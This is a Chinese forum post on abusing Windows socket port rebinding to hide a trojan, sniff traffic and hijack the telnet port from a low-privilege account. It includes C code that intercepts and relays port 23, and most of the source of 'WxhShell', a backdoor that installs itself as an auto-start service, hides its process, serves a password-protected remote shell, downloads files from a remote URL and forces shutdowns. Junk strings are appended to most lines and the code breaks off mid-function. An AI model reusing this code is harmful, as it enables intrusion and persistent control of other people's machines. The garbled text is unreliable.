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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: OD2ai]!v+  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); T(fR/~:z?  
n?ZH2dI \0  
  saddr.sin_family = AF_INET; Ozh^Q$>u  
|rms[1<_  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); #uDBF  
D;T r  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); FZ'>LZ  
l%)=s~6z  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 \c@qtIc  
c`N`x U+z  
  这意味着什么?意味着可以进行如下的攻击: th>yi)m  
{D_4~heF  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 * y"GgI  
Ar{=gENn  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) vNwSZ{JBd  
;@ !d!&  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 /Vj byRwV  
)Q pP1[  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  :Y)kKq d  
PezWc18  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 a[{QlD^D  
v!v0,?b*  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 B}xo|:f!zj  
@_weMz8}  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 yK2*~T,6@  
7{/:,  
  #include rF j)5~  
  #include 8T1DcA*  
  #include A?Hjz%EcW  
  #include    Wx\"wlJ7.3  
  DWORD WINAPI ClientThread(LPVOID lpParam);   x /Ky: Ky  
  int main() G cLp"  
  { TB3T:A>2  
  WORD wVersionRequested; 9j>sRE1  
  DWORD ret; )9W# 5V$  
  WSADATA wsaData; ~uD;_Y=u)r  
  BOOL val; dvdBRrf  
  SOCKADDR_IN saddr; xo"4mbTV  
  SOCKADDR_IN scaddr; pQ2)M8 gf  
  int err; b42pLbpe'E  
  SOCKET s; N?<@o2{  
  SOCKET sc; 8GAQVe^$-  
  int caddsize; QvQf@o  
  HANDLE mt; u5)A+.v  
  DWORD tid;   `?|]:7'<  
  wVersionRequested = MAKEWORD( 2, 2 ); M6d w~0e  
  err = WSAStartup( wVersionRequested, &wsaData ); o>,z %+  
  if ( err != 0 ) { {<{G 1y~  
  printf("error!WSAStartup failed!\n"); J'4@-IM  
  return -1; 4R^j"x 5  
  } R*5;J`TW  
  saddr.sin_family = AF_INET; m ?tnk?oX  
   hFPRC0ftE  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 h.+&=s!Nsy  
u0H`%m  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); gB{R6 \<O  
  saddr.sin_port = htons(23); T_B.p*\BM  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) tMk>Bx9[  
  { gkn/E}K#  
  printf("error!socket failed!\n"); Da[X HUk  
  return -1; L$kAe1 V^m  
  } 6V?&hq&t  
  val = TRUE; |JQP7z6j]  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 XGl13@=O  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 8'\,&f`Y  
  { x$b[m 20  
  printf("error!setsockopt failed!\n"); nR'EuI~(}  
  return -1; (pK4i5lT  
  } ?m7"G)  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; FG36,6N%2j  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 xla^A}{  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 9}Ave:X^  
I; }%k;v6  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) "RX5] eJc\  
  { iOXP\:mPo  
  ret=GetLastError(); $u.T1v  
  printf("error!bind failed!\n"); |g^W @.P  
  return -1; s!!t  
  } 9i[2z:4HJ  
  listen(s,2);  /lok3J:  
  while(1) `A{~}6jw  
  { ;p"XCLHl  
  caddsize = sizeof(scaddr); 9i)mv/i  
  //接受连接请求 <ORz`^27o  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ]4~D;mv  
  if(sc!=INVALID_SOCKET) M !XFb  
  { _SW a3O#'  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Br^b%12ZRS  
  if(mt==NULL) Llc|j&yHQ  
  { >f05+%^[  
  printf("Thread Creat Failed!\n"); pXlBKJmW  
  break; ` i^1U O  
  } _~q^YZ  
  } \$|UFx  
  CloseHandle(mt); ~:b~f]lO  
  } nt`l6b  
  closesocket(s); RSeezP6#  
  WSACleanup(); H 6<@  
  return 0; 5j 01Mx A  
  }   `B 0*/ml  
  DWORD WINAPI ClientThread(LPVOID lpParam) DL!s)5!M  
  { LZ]pyoi  
  SOCKET ss = (SOCKET)lpParam; hQx e0Pdt  
  SOCKET sc; b!P;xLcb  
  unsigned char buf[4096]; zO]dQ$r\Z  
  SOCKADDR_IN saddr; Q&a<9e&  
  long num; d~$t{46  
  DWORD val; SLB iQd.  
  DWORD ret; OHvzK8  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ?0&>?-?  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   rzj'!~>U  
  saddr.sin_family = AF_INET; >c>ar>4xF  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); w%H#>k  
  saddr.sin_port = htons(23); = gyK*F(RK  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 5h7DVr!  
  { bu5)~|?{t  
  printf("error!socket failed!\n");  #7"5Y_0-  
  return -1; S60`'!y  
  } sgsMlZ3/  
  val = 100; <W^~Y31:0  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) K ePHn:c  
  { P#1y  
  ret = GetLastError(); 8+|Lph`/?  
  return -1; UzwIV{  
  }  )U`kU`+'  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Tj+WO6#V  
  { w2V E_  
  ret = GetLastError(); n_2 LkW<?  
  return -1; Jev.o]|_,  
  } `<Nc Y*  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) x;aZ&  
  { 3Ab$  
  printf("error!socket connect failed!\n"); J>v>6OC6i  
  closesocket(sc); u8=|{)yL  
  closesocket(ss); qT%E[qDS  
  return -1;  >S/>2e:  
  } zwHsdB=v  
  while(1) g8y Zc}4  
  { \MPy"uC  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Ob+c*@KiW  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 YI+|6s[  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 x B[# a*  
  num = recv(ss,buf,4096,0); q=(wK&  
  if(num>0) fE}}>  
  send(sc,buf,num,0); _RVXE  
  else if(num==0) h UDEjW@S  
  break; 5G[^ah<Tg  
  num = recv(sc,buf,4096,0); %"V,V3kw4  
  if(num>0) (U<wKk"  
  send(ss,buf,num,0); z05pVe/5  
  else if(num==0) dGN*K}5  
  break; "0mR*{nF  
  } c+VUk*c3  
  closesocket(ss); qQryv_QP  
  closesocket(sc); Jy$-)  
  return 0 ; 7n.J.<+9  
  } JH9CN  
)63w&  
m0YDO 0  
========================================================== sS|5x  
2x CGr>X  
下边附上一个代码,,WXhSHELL 07&S^ X^/  
Pr'py  
========================================================== Rk^&ras_  
5#tvc4+)  
#include "stdafx.h" #,C{?0!  
0KEl+  
#include <stdio.h> d7Z\  
#include <string.h> u]-$]zIH  
#include <windows.h> 1+zax*gO-  
#include <winsock2.h> wvY$ s;  
#include <winsvc.h> @m4d4K@  
#include <urlmon.h> nMqU6X>P!  
[;+YO)  
#pragma comment (lib, "Ws2_32.lib") xNU}uW>>T  
#pragma comment (lib, "urlmon.lib") {fs(+ 0ei  
eP8wTStC  
#define MAX_USER   100 // 最大客户端连接数 &40d J~SQ  
#define BUF_SOCK   200 // sock buffer |/Z4lcI  
#define KEY_BUFF   255 // 输入 buffer N0NMRU]zT  
PT=%]o]  
#define REBOOT     0   // 重启 uv4jbg}Z+3  
#define SHUTDOWN   1   // 关机 ~-x\E#(  
x8t1g,QA  
#define DEF_PORT   5000 // 监听端口 ,;;~dfHm  
z841g `:C  
#define REG_LEN     16   // 注册表键长度 XCY4[2*a>  
#define SVC_LEN     80   // NT服务名长度 Zf! 7pM  
nLQJ~("  
// 从dll定义API .7q#{`K^=  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); QaV*}W  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ~V4|DN[I  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); [aW#7  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ]b)(=-;>  
B Xp3u|t  
// wxhshell配置信息 oz--gA:g  
struct WSCFG { 6 AY%o nY  
  int ws_port;         // 监听端口 L'(^[vR(  
  char ws_passstr[REG_LEN]; // 口令 9dAsXEWh  
  int ws_autoins;       // 安装标记, 1=yes 0=no mj pH)6aD0  
  char ws_regname[REG_LEN]; // 注册表键名 ?Z"}RMM)8  
  char ws_svcname[REG_LEN]; // 服务名 wlJ_, wA  
  char ws_svcdisp[SVC_LEN]; // 服务显示名  GU9`;/  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 2 q>4nN  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 0nX5 $Kn  
int ws_downexe;       // 下载执行标记, 1=yes 0=no %"tf`,d~3  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" gxiJ`. D=  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 2]l*{l^ Bl  
v%r!}s  
}; riz({  
IdM ;N  
// default Wxhshell configuration >ObpOFb%  
struct WSCFG wscfg={DEF_PORT, S<44{ oH  
    "xuhuanlingzhe", ; 1WclQ!(  
    1, UA^E^$f:  
    "Wxhshell", 7G(X:!   
    "Wxhshell", E^s>S,U[y  
            "WxhShell Service", *Z(qk`e.b  
    "Wrsky Windows CmdShell Service", ["z$rk  
    "Please Input Your Password: ", ]pb3 Fm{  
  1, K4KmoGb  
  "http://www.wrsky.com/wxhshell.exe", "+Kr1nW  
  "Wxhshell.exe" +oc}kv,h]  
    }; Wr;)3K  
gS!M7xy  
// 消息定义模块 _oWenF  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Zn/1uWO  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Q{RHW@_/  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; W'[!4RQL  
char *msg_ws_ext="\n\rExit."; VYOO8MQI  
char *msg_ws_end="\n\rQuit."; d-4u*>  
char *msg_ws_boot="\n\rReboot..."; HO' HkVA  
char *msg_ws_poff="\n\rShutdown..."; 3WhJ,~o-y  
char *msg_ws_down="\n\rSave to "; DwI)?a_+  
6*%lnd+_  
char *msg_ws_err="\n\rErr!"; D:f#  
char *msg_ws_ok="\n\rOK!"; WH!<Z=#c}  
kG E|17I  
char ExeFile[MAX_PATH]; h<uQ~CQg  
int nUser = 0; R!`#pklB  
HANDLE handles[MAX_USER]; 7Sokn?~i  
int OsIsNt; $iV3>>;eh  
8.@ yD^'  
SERVICE_STATUS       serviceStatus; HwOw.K<  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; SL(Q;_  
|KA8qQI]%  
// 函数声明 u931^~Ci  
int Install(void); i''dY!2  
int Uninstall(void); R1U\/  
int DownloadFile(char *sURL, SOCKET wsh); iS{)Tll}&  
int Boot(int flag); H_ x35|"  
void HideProc(void); bF3j*bpO"  
int GetOsVer(void); REa%kU  
int Wxhshell(SOCKET wsl); 79&Mc,69  
void TalkWithClient(void *cs); 6rk/74gI,a  
int CmdShell(SOCKET sock); KxvT}"k  
int StartFromService(void); CN zK-,  
int StartWxhshell(LPSTR lpCmdLine); #SL/Jr DZ  
#)XO,^s.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Cnc77EUD  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); MtS$ovg?  
SkxTgX5  
// 数据结构和表定义 ~j UK-E  
SERVICE_TABLE_ENTRY DispatchTable[] = -Z:al\e<g  
{ E-r/$&D5mP  
{wscfg.ws_svcname, NTServiceMain}, &c A?|(7-  
{NULL, NULL} u*"tZ+|m  
}; yfV{2[8ux  
s4w<X}O_  
// 自我安装 Q_ $AGF  
int Install(void) Ros5]5=dP  
{ 3>;U||O  
  char svExeFile[MAX_PATH]; RgEUTpX  
  HKEY key; _ TUw0:&  
  strcpy(svExeFile,ExeFile); vWow^g  
;e-iiC]PI  
// 如果是win9x系统,修改注册表设为自启动 m0:8thZN  
if(!OsIsNt) { NvYgRf}uh  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,TL~];J'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %$b 5&>q  
  RegCloseKey(key); D0uf=BbS  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (|Xf=q,Le  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); A1i-QG/6  
  RegCloseKey(key); DRw%~  
  return 0; 6~^+</?  
    } 7%JXVP}A  
  } W0R6<- 1  
} Y~Zg^x2  
else { ])e6\)  
i`E]gJ$  
// 如果是NT以上系统,安装为系统服务 F|V?Z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 9) wjVk  
if (schSCManager!=0) kQ|}"Tw7  
{ )Y)7p//  
  SC_HANDLE schService = CreateService ^c+6?  
  ( guBOR 0x`  
  schSCManager, MTr _8tI  
  wscfg.ws_svcname, b%AYYk)d?  
  wscfg.ws_svcdisp, &H* F  
  SERVICE_ALL_ACCESS, zm"&8/l  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ${`\In_?O  
  SERVICE_AUTO_START, XxV]U{i!  
  SERVICE_ERROR_NORMAL, qbB.Z#w  
  svExeFile, 3fpX  
  NULL, GJ!usv u  
  NULL, x< imMJ  
  NULL,  d+=;sJ  
  NULL, i^j{l_-JE  
  NULL W&G DE  
  ); \,~gA   
  if (schService!=0) /K'Kx  
  { iPxSVH[  
  CloseServiceHandle(schService); KPKby?qQ^  
  CloseServiceHandle(schSCManager); dBCg$Rud&  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 2f F)I&  
  strcat(svExeFile,wscfg.ws_svcname); O>H4hp  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { \}Hk`n)Aq  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); b@nbXm]Z  
  RegCloseKey(key); S&@~F|  
  return 0;  Zuwd(q  
    } BC&Et62*  
  } g~N)~]0{  
  CloseServiceHandle(schSCManager); ^1}}-9q  
} hX_;gR&R  
} D4_D{\xhO  
6VRVk7"  
return 1; #uKHw2N  
} aNfgSo05@n  
(n#  
// 自我卸载 M1VRc[ RRo  
int Uninstall(void) S tn[M|  
{ AQ@A$  
  HKEY key; )p(XY34]  
rY88xh^  
if(!OsIsNt) { julAN$2  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?DM-C5$  
  RegDeleteValue(key,wscfg.ws_regname); dDAdZxd  
  RegCloseKey(key); cND2(< jx:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0s= GM|y  
  RegDeleteValue(key,wscfg.ws_regname); wMei`svY  
  RegCloseKey(key); UI |D?z<  
  return 0; /TS>I8V!  
  } bMf +/n  
} R~)c(jj5  
} lYU_uFOs\  
else { RQv`D&u_  
ykM(` 1` m  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); W>'R<IY4#N  
if (schSCManager!=0) s|YY i~  
{ R>#T {<<L  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); t:$p8qR  
  if (schService!=0) @~/LsYA:  
  { 1,BtOzuRo  
  if(DeleteService(schService)!=0) { QZ%_hvY[%>  
  CloseServiceHandle(schService); 5h1FvJg  
  CloseServiceHandle(schSCManager); #2|sS|0<  
  return 0; G`gYwgU;  
  } B +_D*a  
  CloseServiceHandle(schService); u]CW5snz  
  } hNSV}~h  
  CloseServiceHandle(schSCManager); sLb[ZQ;j  
} H#G'q_uHH  
} PJ9JRG7j  
H?M8j] R-)  
return 1; r's4-\  
} 7RTp+FC]  
dAohj QH:  
// 从指定url下载文件 d(42ob.Tr  
int DownloadFile(char *sURL, SOCKET wsh) >lN{FJ  
{ r!#NFek}  
  HRESULT hr; Qq^>7OU>Co  
char seps[]= "/"; m`E8gVC  
char *token; ]@>bz  
char *file; Z6 (;~"Em  
char myURL[MAX_PATH]; (T!Q  
char myFILE[MAX_PATH]; e>y"V; Mj  
bZ:w_z[3=  
strcpy(myURL,sURL); ZN',=&;n'  
  token=strtok(myURL,seps); 3>/Yku)t  
  while(token!=NULL) h5.u W8  
  { 8BC}D+q  
    file=token; !Vv$  
  token=strtok(NULL,seps); ^=FtF9v  
  } [P,1UO|$B  
;&?NuK  
GetCurrentDirectory(MAX_PATH,myFILE); <wc=SMmO  
strcat(myFILE, "\\"); ?,TON5Fl-  
strcat(myFILE, file);  jats)!:  
  send(wsh,myFILE,strlen(myFILE),0); 9Jaek_A`  
send(wsh,"...",3,0); X{<j%PdC  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); OV Iu&6#  
  if(hr==S_OK) eB^:+h#A_  
return 0; 8xZN4ck_@  
else lRX*\ M\`  
return 1; UvxJ _  
qP*$wKY,  
} #*1\h=bzmW  
i{ eDV  
// 系统电源模块 dGTAZ(1W  
int Boot(int flag) 7[ *,t  
{ 0:Ak 4L6k  
  HANDLE hToken; f LxFF  
  TOKEN_PRIVILEGES tkp; 7-Fh!=\f/  
iVREkZ2SC  
  if(OsIsNt) { N:Q}Lil  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 00n6v;X  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); bxK1v7  
    tkp.PrivilegeCount = 1; 7Oru{BQ">  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; SP 97Q-  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ;HgV(d#X  
if(flag==REBOOT) { owJPEx  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) }I9\=jT  
  return 0; O5LB&s   
} ie=tM'fb  
else { iw12x:  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) a<rk'4,8a  
  return 0; sn]8h2z  
} l X;2~iW{/  
  } Nq"/:3@4  
  else { xW#r)aN]p  
if(flag==REBOOT) { 2_R' Kl![  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) N?ky2wG  
  return 0; 8 U B?X  
} =VH, i/@  
else { 9Psy$  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) w*f.Fu(su  
  return 0; $ GL$ iA  
} KaZ$!JfT  
} P}KyT?X:  
2~K.m@U}!Z  
return 1; oost}%WxN  
} Sz.jv#Y  
=pF 6  
// win9x进程隐藏模块 LTm2B_+  
void HideProc(void) .UU BAyjm  
{ '&xv)tno  
K\`L>B. 1  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); mflH&Bx9  
  if ( hKernel != NULL ) x$cs_q]J  
  { ^$4d'  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 4M}u_}9  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); F9^8/Z  
    FreeLibrary(hKernel); bYYyXM  
  } 3;u*_ ]N_  
k"LbB#Q  
return; w q% 4'(  
} >u4%s7 v  
CVyqr_n65/  
// 获取操作系统版本 YJ'h=!p}G  
int GetOsVer(void) Sdy\s5  
{ +3(1QgYM%  
  OSVERSIONINFO winfo; 6NVf&;laQ  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); {*r*+}@  
  GetVersionEx(&winfo); `Jq ?+W  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) tq8B)<(]  
  return 1; H$9--p  
  else NU-({dGK}  
  return 0; ik=~`3Zp0  
} i<YatW~Pu  
|-bSoq7t  
// 客户端句柄模块 cP''  
int Wxhshell(SOCKET wsl) L6fc_Mo.EE  
{ c8v+eyn  
  SOCKET wsh; IX7<  
  struct sockaddr_in client; P%]li`56-c  
  DWORD myID;  !NUsfd  
\H!E CTI  
  while(nUser<MAX_USER) hyH"  
{ ]!E|5=q  
  int nSize=sizeof(client); ):   
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); hw:zak#j,  
  if(wsh==INVALID_SOCKET) return 1; 559znM=  
-n?}L#4%8  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); hu%UEB  
if(handles[nUser]==0) n4h@{Xg  
  closesocket(wsh); }xJ9EE*G/  
else Uvgv<OR`_  
  nUser++; 5 P9hm[  
  } c{Nk"gEfRA  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); O['gp~P"  
.cdm@_Ls  
  return 0; OW<i"?0  
} k6_RJ8I  
HeZ! "^w  
// 关闭 socket rhO ]4A  
void CloseIt(SOCKET wsh) g4cmYg3  
{ *z!!zRh3x  
closesocket(wsh); m64 6|G5  
nUser--; J*Dj`@`4`g  
ExitThread(0); -9Wx;u4]o  
} @%q0fj8b  
lR\=] ]7I>  
// 客户端请求句柄 HaXlc8  
void TalkWithClient(void *cs) >:!TfuU^R  
{ rj&  
DBANq\  
  SOCKET wsh=(SOCKET)cs;  O;h]  
  char pwd[SVC_LEN]; ;Oh4W<hH}  
  char cmd[KEY_BUFF]; <i``#" /  
char chr[1]; 3P-qLbJ  
int i,j; h7c8K)ntnf  
X3vTyIsn  
  while (nUser < MAX_USER) { uvz}qH@j/Q  
V'sp6:3*\  
if(wscfg.ws_passstr) { ??5qR8n.  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); g^OU+7o  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8aQ\Yx  
  //ZeroMemory(pwd,KEY_BUFF); B<i )je!  
      i=0; a1R2ocC  
  while(i<SVC_LEN) { AmNmhcN  
[8l;X:  
  // 设置超时 n|dLK.Q  
  fd_set FdRead; W|_ @ju  
  struct timeval TimeOut; H)(@A W+-  
  FD_ZERO(&FdRead); P/5bNK!  
  FD_SET(wsh,&FdRead); Xm`jD'G  
  TimeOut.tv_sec=8; -K hXb  
  TimeOut.tv_usec=0; Y [k%<f  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); B- =*"H?q  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); w'oP{=y[  
) E.KB6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /~)vma1<  
  pwd=chr[0]; t33/QW r  
  if(chr[0]==0xd || chr[0]==0xa) { uF_gfjR[m  
  pwd=0; -e_ IDE  
  break; 9`yG[OA  
  } i,=greA]"  
  i++; xa#0y   
    } Z[<rz6%cB  
,rVm81-2  
  // 如果是非法用户,关闭 socket gq~>S1  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); r\Nf309~  
} !7 "-9n  
o_ka'|  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); `VX]vumG  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); zc>/1>?M  
VRurn>y0  
while(1) { L\_MZ*<0[  
Bh$ hgf.C  
  ZeroMemory(cmd,KEY_BUFF); 0i/l2&x*k]  
??0C"8:[  
      // 自动支持客户端 telnet标准   %m$TV@  
  j=0; Cg<:C?>!p  
  while(j<KEY_BUFF) { Rs,\{#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); S^'?s fq  
  cmd[j]=chr[0]; (dn(:<_$  
  if(chr[0]==0xa || chr[0]==0xd) { dmI,+hHtL  
  cmd[j]=0; ;S5*n:d  
  break; pv*u[ffi  
  } o?@,f/" 5  
  j++; ~?4'{Hc'  
    } 4^vEMq8lB  
;M}'\.  
  // 下载文件 d%VG@./xq  
  if(strstr(cmd,"http://")) { VZB T'N  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); H'|b$rP0@  
  if(DownloadFile(cmd,wsh)) %SuEfCM  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Njsz=  
  else Tn2nd  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >fRI^Q,  
  } :%cL(',Q  
  else { ~`)`Ip  
@9~a3k|  
    switch(cmd[0]) { VcKufV'  
  1CK}XLdr  
  // 帮助 Qfx(+=|  
  case '?': { rZ5vey  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); -02c I}e  
    break; T^.;yU_B?  
  } Lsa&A+fru  
  // 安装 +InAK>NZ'  
  case 'i': { gjB36R  
    if(Install()) }PdS?[R  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,tJ%t#  
    else l]D?S]{a  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ={,\6a|]:  
    break; bE:oF9J?  
    } O* `v1>  
  // 卸载 SRs1t6&y=  
  case 'r': { =c>2d.^l  
    if(Uninstall()) 6p`AdDV  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [mX/]31  
    else }9yAYZ0q{b  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !wy Qk  
    break; Y^DS~CrM  
    } d#E]>:w9  
  // 显示 wxhshell 所在路径 5VI c  
  case 'p': { {`5Sh1b  
    char svExeFile[MAX_PATH]; h.CbOI%Q  
    strcpy(svExeFile,"\n\r"); 8JxJ>I-9p  
      strcat(svExeFile,ExeFile); .w=( G  
        send(wsh,svExeFile,strlen(svExeFile),0); Y/cnj n  
    break; P(pw$ q$S  
    } h{xC0NC)  
  // 重启 ParOWs~W/  
  case 'b': { 6)63Yp(  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); [r,a0s  
    if(Boot(REBOOT)) fa7Z=:a G  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hbm%{*d  
    else { ^UI{U1N~Bz  
    closesocket(wsh); 70bI}/u  
    ExitThread(0); d l_ h0  
    } }= OI (Wy  
    break; OI0#@_L&  
    } IsjxD|u  
  // 关机 PqV9k,5f  
  case 'd': { U6^x(2De  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); /RD@ [ 8  
